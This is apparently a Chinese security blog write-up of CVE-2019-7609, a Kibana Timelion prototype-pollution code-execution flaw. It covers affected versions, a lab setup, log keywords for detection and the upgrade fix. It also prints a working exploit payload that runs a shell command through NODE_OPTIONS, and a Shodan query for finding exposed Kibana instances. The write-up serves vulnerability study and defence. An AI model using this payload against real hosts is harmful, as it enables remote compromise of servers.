CVE-2019-7609 Elasticsearch Kibana 命令注入漏洞
漏洞简述
5.6.15和6.6.1之前的Kibana版本在Timelion可视化工具中包含任意代码执行缺陷。有权访问Timelion应用程序的攻击者可以发送将尝试执行javascript代码的请求。这可能导致攻击者在主机系统上以Kibana进程的权限执行任意命令。
漏洞影响版本
- Kibana < 6.6.1
- Kibana < 5.6.15
Shodan 搜索语法
http.favicon.hash:-267431135
漏洞环境搭建
使用vulhub。
启动环境前,需要先在Docker主机上执行如下命令,修改vm.max_map_count
配置为262144:
否则查看docker logs 会出现报错:max virtual memory areas vm.max_map_count [65530] is too low, increase to at least [262144]
sysctl -w vm.max_map_count=262144
环境启动后,访问http://your-ip:5601
即可看到Kibana页面。
漏洞复现
原型链污染发生在“Timeline”页面,Payload如下。
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
成功后,再访问“Canvas”页面触发命令/bin/touch /tmp/success
,可见/tmp/success
已成功创建。
命令执行成功。
溯源排查
日志排查关键词:/api/timelion/run
这里采用docker搭建可以直接用docker logs 进行排查,记录了请求ip。
在容器内部未发现记录web请求日志。
修复方式
升级至安全版本。
赞赏微信赞赏支付宝赞赏
发表评论